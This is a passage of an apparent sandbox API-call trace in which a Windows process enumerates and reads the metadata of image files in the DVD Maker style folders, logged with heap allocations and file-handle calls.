Size=0x80) returned 0xa086c8 [0068.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11908 [0068.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa10ae8 [0068.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.150] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11928 [0068.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa10bf0 [0068.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.150] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11948 [0068.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa10cf8 [0068.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.151] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0 [0068.151] GetLastError () returned 0x12 [0068.151] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0068.151] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0068.151] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.151] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0068.151] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0068.151] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0068.151] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0068.151] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.151] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.151] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.151] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.151] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.151] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.151] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0 [0068.151] GetLastError () returned 0x12 [0068.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.151] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0068.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0068.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0068.152] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0068.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0068.152] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.152] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0068.152] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0068.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa11d30 [0068.153] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa11d30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa11d30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0068.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa11d30) returned 1 [0068.153] NtClose (Handle=0x170) returned 0x0 [0068.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0068.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0068.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.153] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0068.175] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.175] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0068.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0068.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11968 [0068.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa10e00 [0068.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.176] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0068.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11988 [0068.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa10f08 [0068.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0068.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, 